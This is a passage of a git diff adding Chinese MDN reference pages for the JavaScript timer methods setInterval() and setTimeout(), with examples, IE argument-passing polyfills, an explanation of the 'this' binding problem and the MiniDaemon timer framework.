+ // Your code here
+ // Parameters are purely optional.
+ console.log(a);
+ console.log(b);
+}
+
+ +

例2:两种颜色的切换

+ +

下面的例子里会每隔一秒就调用函数 flashtext() 一次,直至你通过按下 Stop 按钮来清除本次重复操作的唯一辨识符 intervalID

+ +
<!DOCTYPE html>
+<html>
+<head>
+  <meta charset="UTF-8" />
+  <title>setInterval/clearInterval example</title>
+
+  <script>
+    var nIntervId;
+
+    function changeColor() {
+      nIntervId = setInterval(flashText, 1000);
+    }
+
+    function flashText() {
+      var oElem = document.getElementById('my_box');
+      oElem.style.color = oElem.style.color == 'red' ? 'blue' : 'red';
+      // oElem.style.color == 'red' ? 'blue' : 'red' is a ternary operator.
+    }
+
+    function stopTextColor() {
+      clearInterval(nIntervId);
+    }
+  </script>
+</head>
+
+<body onload="changeColor();">
+  <div id="my_box">
+    <p>Hello World</p>
+  </div>
+
+  <button onclick="stopTextColor();">Stop</button>
+</body>
+</html>
+
+ +

例3:打字机效果

+ +

下面这个例子通过键入、删除和再次键入所有 NodeList 中的符合特定的选择器的字符,以达到打字机的效果。

+ +
+
<!DOCTYPE html>
+<html>
+<head>
+<meta charset="UTF-8" />
+<title>JavaScript Typewriter - MDN Example</title>
+<script>
+function Typewriter (sSelector, nRate) {
+
+  function clean () {
+    clearInterval(nIntervId);
+    bTyping = false;
+    bStart = true;
+    oCurrent = null;
+    aSheets.length = nIdx = 0;
+  }
+
+  function scroll (oSheet, nPos, bEraseAndStop) {
+    if (!oSheet.hasOwnProperty("parts") || aMap.length < nPos) { return true; }
+
+    var oRel, bExit = false;
+
+    if (aMap.length === nPos) { aMap.push(0); }
+
+    while (aMap[nPos] < oSheet.parts.length) {
+      oRel = oSheet.parts[aMap[nPos]];
+
+      scroll(oRel, nPos + 1, bEraseAndStop) ? aMap[nPos]++ : bExit = true;
+
+      if (bEraseAndStop && (oRel.ref.nodeType - 1 | 1) === 3 && oRel.ref.nodeValue) {
+        bExit = true;
+        oCurrent = oRel.ref;
+        sPart = oCurrent.nodeValue;
+        oCurrent.nodeValue = "";
+      }
+
+      oSheet.ref.appendChild(oRel.ref);
+      if (bExit) { return false; }
+    }
+
+    aMap.length--;
+    return true;
+  }
+
+  function typewrite () {
+    if (sPart.length === 0 && scroll(aSheets[nIdx], 0, true) && nIdx++ === aSheets.length - 1) { clean(); return; }
+
+    oCurrent.nodeValue += sPart.charAt(0);
+    sPart = sPart.slice(1);
+  }
+
+  function Sheet (oNode) {
+    this.ref = oNode;
+    if (!oNode.hasChildNodes()) { return; }
+    this.parts = Array.prototype.slice.call(oNode.childNodes);
+
+    for (var nChild = 0; nChild < this.parts.length; nChild++) {
+      oNode.removeChild(this.parts[nChild]);
+      this.parts[nChild] = new Sheet(this.parts[nChild]);
+    }
+  }
+
+  var
+    nIntervId, oCurrent = null, bTyping = false, bStart = true,
+    nIdx = 0, sPart = "", aSheets = [], aMap = [];
+
+  this.rate = nRate || 100;
+
+  this.play = function () {
+    if (bTyping) { return; }
+    if (bStart) {
+      var aItems = document.querySelectorAll(sSelector);
+
+      if (aItems.length === 0) { return; }
+      for (var nItem = 0; nItem < aItems.length; nItem++) {
+        aSheets.push(new Sheet(aItems[nItem]));
+        /* Uncomment the following line if you have previously hidden your elements via CSS: */
+        // aItems[nItem].style.visibility = "visible";
+      }
+
+      bStart = false;
+    }
+
+    nIntervId = setInterval(typewrite, this.rate);
+    bTyping = true;
+  };
+
+  this.pause = function () {
+    clearInterval(nIntervId);
+    bTyping = false;
+  };
+
+  this.terminate = function () {
+    oCurrent.nodeValue += sPart;
+    sPart = "";
+    for (nIdx; nIdx < aSheets.length; scroll(aSheets[nIdx++], 0, false));
+    clean();
+  };
+}
+
+/* usage: */
+var oTWExample1 = new Typewriter(/* elements: */ "#article, h1, #info, #copyleft", /* frame rate (optional): */ 15);
+
+/* default frame rate is 100: */
+var oTWExample2 = new Typewriter("#controls");
+
+/* you can also change the frame rate value modifying the "rate" property; for example: */
+// oTWExample2.rate = 150;
+
+onload = function () {
+  oTWExample1.play();
+  oTWExample2.play();
+};
+</script>
+<style type="text/css">
+span.intLink, a, a:visited {
+  cursor: pointer;
+  color: #000000;
+  text-decoration: underline;
+}
+
+#info {
+  width: 180px;
+  height: 150px;
+  float: right;
+  background-color: #eeeeff;
+  padding: 4px;
+  overflow: auto;
+  font-size: 12px;
+  margin: 4px;
+  border-radius: 5px;
+  /* visibility: hidden; */
+}
+</style>
+</head>
+
+<body>
+
+<p id="copyleft" style="font-style: italic; font-size: 12px; text-align: center;">CopyLeft 2012 by <a href="https://developer.mozilla.org/" target="_blank">Mozilla Developer Network</a></p>
+<p id="controls" style="text-align: center;">[&nbsp;<span class="intLink" onclick="oTWExample1.play();">Play</span> | <span class="intLink" onclick="oTWExample1.pause();">Pause</span> | <span class="intLink" onclick="oTWExample1.terminate();">Terminate</span>&nbsp;]</p>
+<div id="info">
+Vivamus blandit massa ut metus mattis in fringilla lectus imperdiet. Proin ac ante a felis ornare vehicula. Fusce pellentesque lacus vitae eros convallis ut mollis magna pellentesque. Pellentesque placerat enim at lacus ultricies vitae facilisis nisi fringilla. In tincidunt tincidunt tincidunt.
+</div>
+<h1>JavaScript Typewriter</h1>
+
+<div id="article">
+<p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nullam ultrices dolor ac dolor imperdiet ullamcorper. Suspendisse quam libero, luctus auctor mollis sed, malesuada condimentum magna. Quisque in ante tellus, in placerat est. Pellentesque habitant morbi tristique senectus et netus et malesuada fames ac turpis egestas. Donec a mi magna, quis mattis dolor. Etiam sit amet ligula quis urna auctor imperdiet nec faucibus ante. Mauris vel consectetur dolor. Nunc eget elit eget velit pulvinar fringilla consectetur aliquam purus. Curabitur convallis, justo posuere porta egestas, velit erat ornare tortor, non viverra justo diam eget arcu. Phasellus adipiscing fermentum nibh ac commodo. Nam turpis nunc, suscipit a hendrerit vitae, volutpat non ipsum.</p>
+<form>
+<p>Phasellus ac nisl lorem: <input type="text" /><br />
+<textarea style="width: 400px; height: 200px;">Nullam commodo suscipit lacus non aliquet. Phasellus ac nisl lorem, sed facilisis ligula. Nam cursus lobortis placerat. Sed dui nisi, elementum eu sodales ac, placerat sit amet mauris. Pellentesque dapibus tellus ut ipsum aliquam eu auctor dui vehicula. Quisque ultrices laoreet erat, at ultrices tortor sodales non. Sed venenatis luctus magna, ultricies ultricies nunc fringilla eget. Praesent scelerisque urna vitae nibh tristique varius consequat neque luctus. Integer ornare, erat a porta tempus, velit justo fermentum elit, a fermentum metus nisi eu ipsum. Vivamus eget augue vel dui viverra adipiscing congue ut massa. Praesent vitae eros erat, pulvinar laoreet magna. Maecenas vestibulum mollis nunc in posuere. Pellentesque sit amet metus a turpis lobortis tempor eu vel tortor. Cras sodales eleifend interdum.</textarea></p>
+<input type="submit" value="Send" />
+</form>
+<p>Duis lobortis sapien quis nisl luctus porttitor. In tempor semper libero, eu tincidunt dolor eleifend sit amet. Ut nec velit in dolor tincidunt rhoncus non non diam. Morbi auctor ornare orci, non euismod felis gravida nec. Curabitur elementum nisi a eros rutrum nec blandit diam placerat. Aenean tincidunt risus ut nisi consectetur cursus. Ut vitae quam elit. Donec dignissim est in quam tempor consequat. Aliquam aliquam diam non felis convallis suscipit. Nulla facilisi. Donec lacus risus, dignissim et fringilla et, egestas vel eros. Duis malesuada accumsan dui, at fringilla mauris bibStartum quis. Cras adipiscing ultricies fermentum. Praesent bibStartum condimentum feugiat.</p>
+<p>Nam faucibus, ligula eu fringilla pulvinar, lectus tellus iaculis nunc, vitae scelerisque metus leo non metus. Proin mattis lobortis lobortis. Quisque accumsan faucibus erat, vel varius tortor ultricies ac. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Sed nec libero nunc. Nullam tortor nunc, elementum a consectetur et, ultrices eu orci. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Pellentesque a nisl eu sem vehicula egestas.</p>
+</div>
+</body>
+</html>
+
+ +

查看示例效果,亦可参考:clearInterval()

+ +

回调参数

+ +

如前所述,Internet Explorer 9及以下版本不支持在setTimeout()setInterval()中向回调函数传递参数。下面的IE专用代码演示了一种克服这种限制的方法。使用时,只需将以下代码添加到你的脚本顶部即可。

+ +
/*\
+|*|
+|*|  IE-specific polyfill that enables the passage of arbitrary arguments to the
+|*|  callback functions of javascript timers (HTML5 standard syntax).
+|*|
+|*|  https://developer.mozilla.org/en-US/docs/Web/API/window.setInterval
+|*|  https://developer.mozilla.org/User:fusionchess
+|*|
+|*|  Syntax:
+|*|  var timeoutID = window.setTimeout(func, delay[, arg1, arg2, ...]);
+|*|  var timeoutID = window.setTimeout(code, delay);
+|*|  var intervalID = window.setInterval(func, delay[, arg1, arg2, ...]);
+|*|  var intervalID = window.setInterval(code, delay);
+|*|
+\*/
+
+if (document.all && !window.setTimeout.isPolyfill) {
+  var __nativeST__ = window.setTimeout;
+  window.setTimeout = function (vCallback, nDelay /*, argumentToPass1, argumentToPass2, etc. */) {
+    var aArgs = Array.prototype.slice.call(arguments, 2);
+    return __nativeST__(vCallback instanceof Function ? function () {
+      vCallback.apply(null, aArgs);
+    } : vCallback, nDelay);
+  };
+  window.setTimeout.isPolyfill = true;
+}
+
+if (document.all && !window.setInterval.isPolyfill) {
+  var __nativeSI__ = window.setInterval;
+  window.setInterval = function (vCallback, nDelay /*, argumentToPass1, argumentToPass2, etc. */) {
+    var aArgs = Array.prototype.slice.call(arguments, 2);
+    return __nativeSI__(vCallback instanceof Function ? function () {
+      vCallback.apply(null, aArgs);
+    } : vCallback, nDelay);
+  };
+  window.setInterval.isPolyfill = true;
+}
+
+ +

另一种方式是使用匿名函数调用你的回调函数,但是这种方式开销较大。例如:

+ +
var intervalID = setInterval(function() { myFunc('one', 'two', 'three'); }, 1000);
+ +

还有一种方式是使用 function's bind. 例如:

+ +
var intervalID = setInterval(function(arg1) {}.bind(undefined, 10), 1000);
+ +

{{h3_gecko_minversion("Inactive tabs", "5.0")}}

+ +

Starting in Gecko 5.0 {{geckoRelease("5.0")}}, intervals are clamped to fire no more often than once per second in inactive tabs.

+ +

"this" 的问题

+ +

当你给 setInterval() 传递一个方法或者函数的时候,this 值的绑定会存在一些问题。  这个问题在JavaScript 参考 进行了详细解释。

+ +

解释

+ +

Code executed by setInterval() runs in a separate execution context than the function from which it was called. As a consequence, the this keyword for the called function is set to the window (or global) object, it is not the same as the this value for the function that called setTimeout. See the following example (which uses setTimeout() instead of setInterval() – the problem, in fact, is the same for both timers):

+ +
myArray = ['zero', 'one', 'two'];
+
+myArray.myMethod = function (sProperty) {
+    alert(arguments.length > 0 ? this[sProperty] : this);
+};
+
+myArray.myMethod(); // prints "zero,one,two"
+myArray.myMethod(1); // prints "one"
+setTimeout(myArray.myMethod, 1000); // prints "[object Window]" after 1 second
+setTimeout(myArray.myMethod, 1500, "1"); // prints "undefined" after 1,5 seconds
+// passing the 'this' object with .call won't work
+// because this will change the value of this inside setTimeout itself
+// while we want to change the value of this inside myArray.myMethod
+// in fact, it will be an error because setTimeout code expects this to be the window object:
+setTimeout.call(myArray, myArray.myMethod, 2000); // error: "NS_ERROR_XPC_BAD_OP_ON_WN_PROTO: Illegal operation on WrappedNative prototype object"
+setTimeout.call(myArray, myArray.myMethod, 2500, 2); // same error
+
+ +

As you can see there are no ways to pass the this object to the callback function in the legacy JavaScript.

+ +

一个可能的解决方案

+ +

A possible way to solve the "this" problem is to replace the two native setTimeout() or setInterval() global functions with two non-native ones that enable their invocation through the Function.prototype.call method. The following example shows a possible replacement:

+ +
// Enable the passage of the 'this' object through the JavaScript timers
+
+var __nativeST__ = window.setTimeout, __nativeSI__ = window.setInterval;
+
+window.setTimeout = function (vCallback, nDelay /*, argumentToPass1, argumentToPass2, etc. */) {
+  var oThis = this, aArgs = Array.prototype.slice.call(arguments, 2);
+  return __nativeST__(vCallback instanceof Function ? function () {
+    vCallback.apply(oThis, aArgs);
+  } : vCallback, nDelay);
+};
+
+window.setInterval = function (vCallback, nDelay /*, argumentToPass1, argumentToPass2, etc. */) {
+  var oThis = this, aArgs = Array.prototype.slice.call(arguments, 2);
+  return __nativeSI__(vCallback instanceof Function ? function () {
+    vCallback.apply(oThis, aArgs);
+  } : vCallback, nDelay);
+};
+ +
These two replacements also enable the HTML5 standard passage of arbitrary arguments to the callback functions of timers in IE. So they can be used as non-standard-compliant polyfills also. See the callback arguments paragraph for a standard-compliant polyfill.
+ +

New feature test:

+ +
myArray = ['zero', 'one', 'two'];
+
+myArray.myMethod = function (sProperty) {
+    alert(arguments.length > 0 ? this[sProperty] : this);
+};
+
+setTimeout(alert, 1500, 'Hello world!'); // the standard use of setTimeout and setInterval is preserved, but...
+setTimeout.call(myArray, myArray.myMethod, 2000); // prints "zero,one,two" after 2 seconds
+setTimeout.call(myArray, myArray.myMethod, 2500, 2); // prints "two" after 2,5 seconds
+
+ +

Another, more complex, solution for the this problem is the following framework.

+ +
JavaScript 1.8.5 introduces the Function.prototype.bind() method, which lets you specify the value that should be used as this for all calls to a given function. This lets you easily bypass problems where it's unclear what this will be, depending on the context from which your function was called. Also, ES2015 supports arrow functions, with lexical this allowing us to write setInterval( () => this.myMethod) if we're inside myArray method.
+ +

MiniDaemon:一个用于管理定时器的小框架

+ +

In pages requiring many timers, it can often be difficult to keep track of all of the running timer events. One approach to solving this problem is to store information about the state of a timer in an object. Following is a minimal example of such an abstraction. The constructor architecture explicitly avoids the use of closures. It also offers an alternative way to pass the this object to the callback function (see The "this" problem for details). The following code is also available on GitHub.

+ +
For a more complex but still modular version of it (Daemon) see JavaScript Daemons Management. This more complex version is nothing but a big and scalable collection of methods for the Daemon constructor. However, the Daemon constructor itself is nothing but a clone of MiniDaemon with an added support for init and onstart functions declarable during the instantiation of the daemon. So the MiniDaemon framework remains the recommended way for simple animations, because Daemon without its collection of methods is essentially a clone of it.
+ +

minidaemon.js

+ +
+
/*\
+|*|
+|*|  :: MiniDaemon ::
+|*|
+|*|  Revision #2 - September 26, 2014
+|*|
+|*|  https://developer.mozilla.org/en-US/docs/Web/API/window.setInterval
+|*|  https://developer.mozilla.org/User:fusionchess
+|*|  https://github.com/madmurphy/minidaemon.js
+|*|
+|*|  This framework is released under the GNU Lesser General Public License, version 3 or later.
+|*|  http://www.gnu.org/licenses/lgpl-3.0.html
+|*|
+\*/
+
+function MiniDaemon (oOwner, fTask, nRate, nLen) {
+  if (!(this && this instanceof MiniDaemon)) { return; }
+  if (arguments.length < 2) { throw new TypeError('MiniDaemon - not enough arguments'); }
+  if (oOwner) { this.owner = oOwner; }
+  this.task = fTask;
+  if (isFinite(nRate) && nRate > 0) { this.rate = Math.floor(nRate); }
+  if (nLen > 0) { this.length = Math.floor(nLen); }
+}
+
+MiniDaemon.prototype.owner = null;
+MiniDaemon.prototype.task = null;
+MiniDaemon.prototype.rate = 100;
+MiniDaemon.prototype.length = Infinity;
+
+  /* These properties should be read-only */
+
+MiniDaemon.prototype.SESSION = -1;
+MiniDaemon.prototype.INDEX = 0;
+MiniDaemon.prototype.PAUSED = true;
+MiniDaemon.prototype.BACKW = true;
+
+  /* Global methods */
+
+MiniDaemon.forceCall = function (oDmn) {
+  oDmn.INDEX += oDmn.BACKW ? -1 : 1;
+  if (oDmn.task.call(oDmn.owner, oDmn.INDEX, oDmn.length, oDmn.BACKW) === false || oDmn.isAtEnd()) { oDmn.pause(); return false; }
+  return true;
+};
+
+  /* Instances methods */
+
+MiniDaemon.prototype.isAtEnd = function () {
+  return this.BACKW ? isFinite(this.length) && this.INDEX < 1 : this.INDEX + 1 > this.length;
+};
+
+MiniDaemon.prototype.synchronize = function () {
+  if (this.PAUSED) { return; }
+  clearInterval(this.SESSION);
+  this.SESSION = setInterval(MiniDaemon.forceCall, this.rate, this);
+};
+
+MiniDaemon.prototype.pause = function () {
+  clearInterval(this.SESSION);
+  this.PAUSED = true;
+};
+
+MiniDaemon.prototype.start = function (bReverse) {
+  var bBackw = Boolean(bReverse);
+  if (this.BACKW === bBackw && (this.isAtEnd() || !this.PAUSED)) { return; }
+  this.BACKW = bBackw;
+  this.PAUSED = false;
+  this.synchronize();
+};
+
+
+ +
MiniDaemon passes arguments to the callback function. If you want to work on it with browsers that natively do not support this feature, use one of the methods proposed above.
+ +

语法

+ +

var myDaemon = new MiniDaemon(thisObject, callback[, rate[, length]]);

+ +

说明

+ +

Returns a JavaScript Object containing all information needed by an animation (like the this object, the callback function, the length, the frame-rate).

+ +

参数

+ +
+
thisObject
+
The this object on which the callback function is called. It can be an object or null.
+
callback
+
The function that is repeatedly invoked . It is called with three arguments: index (the iterative index of each invocation), length (the number of total invocations assigned to the daemon - finite or Infinity) and backwards (a boolean expressing whether the index is increasing or decreasing). It is something like callback.call(thisObject, index, length, backwards). If the callback function returns a false value the daemon is paused.
+
rate (optional)
+
The time lapse (in number of milliseconds) between each invocation. The default value is 100.
+
length (optional)
+
The total number of invocations. It can be a positive integer or Infinity. The default value is Infinity.
+
+ +

MiniDaemon 实例(instance)的属性

+ +
+
myDaemon.owner
+
The this object on which is executed the daemon (read/write). It can be an object or null.
+
myDaemon.task
+
The function that is repeatedly invoked (read/write). It is called with three arguments: index (the iterative index of each invocation), length (the number of total invocations assigned to the daemon - finite or Infinity) and backwards (a boolean expressing whether the index is decreasing or not) – see above. If the myDaemon.task function returns a false value the daemon is paused.
+
myDaemon.rate
+
The time lapse (in number of milliseconds) between each invocation (read/write).
+
myDaemon.length
+
The total number of invocations. It can be a positive integer or Infinity (read/write).
+
+ +

MiniDaemon 实例的方法

+ +
+
myDaemon.isAtEnd()
+
Returns a boolean expressing whether the daemon is at the start/end position or not.
+
myDaemon.synchronize()
+
Synchronize the timer of a started daemon with the time of its invocation.
+
myDaemon.pause()
+
Pauses the daemon.
+
myDaemon.start([reverse])
+
Starts the daemon forward (index of each invocation increasing) or backwards (index decreasing).
+
+ +

MiniDaemon 全局对象的方法

+ +
+
MiniDaemon.forceCall(minidaemon)
+
Forces a single callback to the minidaemon.task function regardless of the fact that the end has been reached or not. In any case the internal INDEX property is increased/decreased (depending on the actual direction of the process).
+
+ +

使用示例

+ +

HTML:

+ +
<!DOCTYPE html>
+<html>
+<head>
+  <meta charset="UTF-8" />
+  <title>MiniDaemin Example - MDN</title>
+  <script type="text/javascript" src="minidaemon.js"></script>
+  <style type="text/css">
+    #sample_div {
+      visibility: hidden;
+    }
+  </style>
+</head>
+
+<body>
+  <p>
+    <input type="button" onclick="fadeInOut.start(false /* optional */);" value="fade in" />
+    <input type="button" onclick="fadeInOut.start(true);" value="fade out">
+    <input type="button" onclick="fadeInOut.pause();" value="pause" />
+  </p>
+
+  <div id="sample_div">Some text here</div>
+
+  <script type="text/javascript">
+    function opacity (nIndex, nLength, bBackwards) {
+      this.style.opacity = nIndex / nLength;
+      if (bBackwards ? nIndex === 0 : nIndex === 1) {
+        this.style.visibility = bBackwards ? 'hidden' : 'visible';
+      }
+    }
+
+    var fadeInOut = new MiniDaemon(document.getElementById('sample_div'), opacity, 300, 8);
+  </script>
+</body>
+</html>
+ +

View this example in action

+ +

备注

+ +

The setInterval() function is commonly used to set a delay for functions that are executed again and again, such as animations.

+ +

You can cancel the interval using {{domxref("WindowOrWorkerGlobalScope.clearInterval()")}}.

+ +

If you wish to have your function called once after the specified delay, use {{domxref("WindowOrWorkerGlobalScope.setTimeout()")}}.

+ +

Ensure that execution duration is shorter than interval frequency

+ +

If there is a possibility that your logic could take longer to execute than the interval time, it is recommended that you recursively call a named function using {{domxref("WindowOrWorkerGlobalScope.setTimeout")}}. For example, if using setInterval to poll a remote server every 5 seconds, network latency, an unresponsive server, and a host of other issues could prevent the request from completing in its allotted time. As such, you may find yourself with queued up XHR requests that won't necessarily return in order.

+ +

In these cases, a recursive setTimeout() pattern is preferred:

+ +
(function loop(){
+   setTimeout(function() {
+      // Your logic here
+
+      loop();
+  }, delay);
+})();
+
+ +

In the above snippet, a named function loop() is declared and is immediately executed. loop() is recursively called inside setTimeout() after the logic has completed executing. While this pattern does not guarantee execution on a fixed interval, it does guarantee that the previous interval has completed before recursing.

+ +

Throttling of intervals

+ +

setInterval() is subject to the same throttling restrictions in Firefox as {{domxref("WindowOrWorkerGlobalScope.setTimeout","setTimeout()")}}; see Reasons for delays longer than specified.

+ +

规范

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', 'webappapis.html#dom-setinterval', 'WindowOrWorkerGlobalScope.setInterval()')}}{{Spec2("HTML WHATWG")}}Method moved to the WindowOrWorkerGlobalScope mixin in the latest spec.
{{SpecName("HTML WHATWG", "webappapis.html#dom-setinterval", "WindowTimers.setInterval()")}}{{Spec2("HTML WHATWG")}}Initial definition (DOM Level 0)
+ +

浏览器兼容性

+ +
+ + +

{{Compat("api.WindowOrWorkerGlobalScope.setInterval")}}

+
+ +

参见

+ + diff --git a/files/zh-cn/web/api/windoworworkerglobalscope/settimeout/index.html b/files/zh-cn/web/api/windoworworkerglobalscope/settimeout/index.html new file mode 100644 index 0000000000..f9813851f7 --- /dev/null +++ b/files/zh-cn/web/api/windoworworkerglobalscope/settimeout/index.html @@ -0,0 +1,476 @@ +--- +title: window.setTimeout +slug: Web/API/Window/setTimeout +tags: + - Timers + - WindowOrWorkerGlobalScope + - WindowTimers + - setTimeout +translation_of: Web/API/WindowOrWorkerGlobalScope/setTimeout +--- +

{{APIRef("HTML DOM")}}

+ +

 {{domxref("WindowOrWorkerGlobalScope")}} 混合的 setTimeout()方法设置一个定时器,该定时器在定时器到期后执行一个函数或指定的一段代码。

+ +

语法

+ +
var timeoutID = scope.setTimeout(function[, delay, arg1, arg2, ...]);
+var timeoutID = scope.setTimeout(function[, delay]);
+var timeoutID = scope.setTimeout(code[, delay]);
+ +

参数

+ +
+
function
+
{{jsxref("function")}} 是你想要在到期时间(delay毫秒)之后执行的函数
+
code
+
这是一个可选语法,你可以使用字符串而不是{{jsxref("function")}} ,在delay毫秒之后编译和执行字符串 (使用该语法是不推荐的, 原因和使用 {{jsxref("Global_Objects/eval", "eval()")}}一样,有安全风险)。
+
delay {{optional_inline}}
+
延迟的毫秒数 (一秒等于1000毫秒),函数的调用会在该延迟之后发生。如果省略该参数,delay取默认值0,意味着“马上”执行,或者尽快执行。不管是哪种情况,实际的延迟时间可能会比期待的(delay毫秒数) 值长,原因请查看{{anch("实际延时比设定值更久的原因:最小延迟时间")}}。
+
arg1, ..., argN {{optional_inline}}
+
附加参数,一旦定时器到期,它们会作为参数传递给{{jsxref("function")}} 
+
+ +
+

备注:需要注意的是,IE9 及更早的 IE 浏览器不支持向回调函数传递额外参数(第一种语法)。如果你想要在IE中达到同样的功能,你必须使用一种兼容代码 (查看  {{anch("兼容旧环境(polyfill)")}} 一段).

+
+ +

返回值

+ +

返回值timeoutID是一个正整数,表示定时器的编号。这个值可以传递给{{domxref("WindowOrWorkerGlobalScope.clearTimeout","clearTimeout()")}}来取消该定时器。

+ +

需要注意的是setTimeout()和{{domxref("WindowOrWorkerGlobalScope.setInterval", "setInterval()")}}共用一个编号池,技术上,clearTimeout()和 {{domxref("WindowOrWorkerGlobalScope.clearInterval", "clearInterval()")}} 可以互换。但是,为了避免混淆,不要混用取消定时函数。

+ +

在同一个对象上(一个window或者worker),setTimeout()或者setInterval()在后续的调用不会重用同一个定时器编号。但是不同的对象使用独立的编号池。

+ +

例子

+ +

下文的例子在网页中设置了两个简单的按钮,以触发 setTimeout() 和 clearTimeout() 方法:按下第一个按钮会设置一个定时器,定时器在 2s 后显示一个警告对话框,并将此次 setTimeout 的定时器 ID 保存起来,按下第二个按钮可以取消定时器。

+ +

HTML

+ +
<p>Live Example</p>
+<button onclick="delayedAlert();">Show an alert box after two seconds</button>
+<p></p>
+<button onclick="clearAlert();">Cancel alert before it happens</button>
+
+ +
+ +
+ +
+ +
+ +

JavaScript

+ +
var timeoutID;
+
+function delayedAlert() {
+  timeoutID = window.setTimeout(slowAlert, 2000);
+}
+
+function slowAlert() {
+  alert('That was really slow!');
+}
+
+function clearAlert() {
+  window.clearTimeout(timeoutID);
+}
+
+ +
+ +
+ +
+ +
+ +
+ +
+ +
+ +
+ +
+ +
+ +
+ +
+ +
+ +

结果展示

+ +

{{EmbedLiveSample('例子')}}

+ +

也可参考 clearTimeout() 示例.

+ +

兼容旧环境(polyfill)

+ +

如果你需要向你的回调函数内传递一个或多个参数, 而且还需要兼容那些不支持传递额外参数(不管使用setTimeout() 或者 setInterval())的浏览器时(比如,IE9及更早的版本), 你可以引入下面的兼容代码来支持向定时器函数传参。将以下代码添加到你代码的最上面:

+ +
/*\
+|*|
+|*|  Polyfill which enables the passage of arbitrary arguments to the
+|*|  callback functions of JavaScript timers (HTML5 standard syntax).
+|*|
+|*|  https://developer.mozilla.org/en-US/docs/DOM/window.setInterval
+|*|
+|*|  Syntax:
+|*|  var timeoutID = window.setTimeout(func, delay[, param1, param2, ...]);
+|*|  var timeoutID = window.setTimeout(code, delay);
+|*|  var intervalID = window.setInterval(func, delay[, param1, param2, ...]);
+|*|  var intervalID = window.setInterval(code, delay);
+|*|
+\*/
+
+(function() {
+  setTimeout(function(arg1) {
+    if (arg1 === 'test') {
+      // feature test is passed, no need for polyfill
+      return;
+    }
+    var __nativeST__ = window.setTimeout;
+    window.setTimeout = function(vCallback, nDelay /*, argumentToPass1, argumentToPass2, etc. */ ) {
+      var aArgs = Array.prototype.slice.call(arguments, 2);
+      return __nativeST__(vCallback instanceof Function ? function() {
+        vCallback.apply(null, aArgs);
+      } : vCallback, nDelay);
+    };
+  }, 0, 'test');
+
+  var interval = setInterval(function(arg1) {
+    clearInterval(interval);
+    if (arg1 === 'test') {
+      // feature test is passed, no need for polyfill
+      return;
+    }
+    var __nativeSI__ = window.setInterval;
+    window.setInterval = function(vCallback, nDelay /*, argumentToPass1, argumentToPass2, etc. */ ) {
+      var aArgs = Array.prototype.slice.call(arguments, 2);
+      return __nativeSI__(vCallback instanceof Function ? function() {
+        vCallback.apply(null, aArgs);
+      } : vCallback, nDelay);
+    };
+  }, 0, 'test');
+}())
+ +

针对IE的解决方法

+ +

如果你需要单独的针对IE9及之前浏览器的 hack 写法,你可以使用 JavaScript 条件注释:

+ +
/*@cc_on
+  // conditional IE < 9 only fix
+  @if (@_jscript_version <= 9)
+  (function(f){
+     window.setTimeout = f(window.setTimeout);
+     window.setInterval = f(window.setInterval);
+  })(function(f){return function(c,t){var a=[].slice.call(arguments,2);return f(function(){c instanceof Function?c.apply(this,a):eval(c)},t)}});
+  @end
+@*/
+ +
+ +
+ +
+ +
+ +
+ +
+ +
+ +
+ +
+ +

或者使用更加清晰的 IE HTML 条件注释:

+ +
<!--[if lte IE 9]><script>
+(function(f){
+window.setTimeout=f(window.setTimeout);
+window.setInterval=f(window.setInterval);
+})(function(f){return function(c,t){
+var a=[].slice.call(arguments,2);return f(function(){c instanceof Function?c.apply(this,a):eval(c)},t)}
+});
+</script><![endif]-->
+
+
+
+ +
+ +
+ +

变通方法

+ +

另一种方法是使用匿名函数包裹你的回调函数,这种方式要消耗更多资源:

+ +
var intervalID = setTimeout(function() { myFunc('one', 'two', 'three'); }, 1000);
+
+ +
+ +

上面那个例子也可以用箭头函数:

+ +
var intervalID = setTimeout(() => { myFunc('one', 'two', 'three'); }, 1000);
+
+ +

此外,也可使用 function's bind

+ +
setTimeout(function(arg1){}.bind(undefined, 10), 1000);
+
+ +

关于"this"的问题

+ +

当你向 setTimeout() (或者其他函数)传递一个函数时,该函数中的this指向跟你的期望可能不同,这个问题在 JavaScript reference 中进行了详细解释.

+ +

解释

+ +

setTimeout()调用的代码运行在与所在函数完全分离的执行环境上。这会导致,这些代码中包含的 this 关键字在非严格模式会指向 window (或全局)对象,严格模式下为 undefined,这和所期望的this的值是不一样的。

+ +
+

备注:即使是在严格模式下,setTimeout()的回调函数里面的this仍然默认指向window对象, 并不是undefined

+
+ +

查看下面的例子:

+ +
let myArray = ["zero", "one", "two"];
+myArray.myMethod = function (sProperty) {
+    alert(arguments.length > 0 ? this[sProperty] : this);
+};
+
+myArray.myMethod(); // prints "zero,one,two"
+myArray.myMethod(1); // prints "one"
+ +

上面这段代码正常工作,用myArray调用,在函数内,this[sProperty]等于 myArray[sProperty]。然后,下面这个例子:

+ +
setTimeout(myArray.myMethod, 1000); // prints "[object Window]" after 1 second
+setTimeout(myArray.myMethod, 1500, "1"); // prints "undefined" after 1.5 seconds
+ +

myArray.myMethod函数传递给 setTimeout,到了定时时间,this没有指向,默认指向window对象。并且没有方法把 thisArg 传递给setTimeout,正如Array方法的forEachreduce等。下面的例子表示使用call方法设置this也没用。

+ +
setTimeout.call(myArray, myArray.myMethod, 2000); // error: "NS_ERROR_XPC_BAD_OP_ON_WN_PROTO: Illegal operation on WrappedNative prototype object"
+setTimeout.call(myArray, myArray.myMethod, 2500, 2); // same error
+ +

可能的解决方案

+ +

一个通用的方法是用包装函数来设置this

+ +
setTimeout(function(){myArray.myMethod()}, 2000); // prints "zero,one,two" after 2 seconds
+setTimeout(function(){myArray.myMethod('1')}, 2500); // prints "one" after 2.5 seconds
+ +

箭头函数也可以:

+ +
setTimeout(() => {myArray.myMethod()}, 2000); // prints "zero,one,two" after 2 seconds
+setTimeout(() => {myArray.myMethod('1')}, 2500); // prints "one" after 2.5 seconds
+ +

另一个解决this问题的方法是使用两个非原生的 setTimeout()setInterval() 全局函数代替原生的。该非原生的函数通过使用Function.prototype.call 方法激活了正确的作用域。下面的代码显示了应该如何替换:

+ +
// Enable the passage of the 'this' object through the JavaScript timers
+
+var __nativeST__ = window.setTimeout, __nativeSI__ = window.setInterval;
+
+window.setTimeout = function (vCallback, nDelay /*, argumentToPass1, argumentToPass2, etc. */) {
